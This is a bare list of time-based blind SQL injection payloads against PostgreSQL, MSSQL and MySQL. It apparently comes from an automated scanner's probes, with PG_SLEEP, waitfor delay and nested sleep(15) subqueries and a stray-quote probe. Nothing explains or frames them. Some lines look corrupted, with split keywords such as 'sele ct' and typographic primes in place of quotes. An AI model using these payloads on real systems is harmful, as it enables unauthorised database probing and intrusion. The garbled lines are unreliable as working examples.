555-1)) OR 848=(SELECT 848 FROM PG_SLEEP(15))--

555-1) OR 887=(SELECT 887 FROM PG_SLEEP(15))--

555-1 OR 540=(SELECT 540 FROM PG_SLEEP(15))--

555FruPWY0r′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/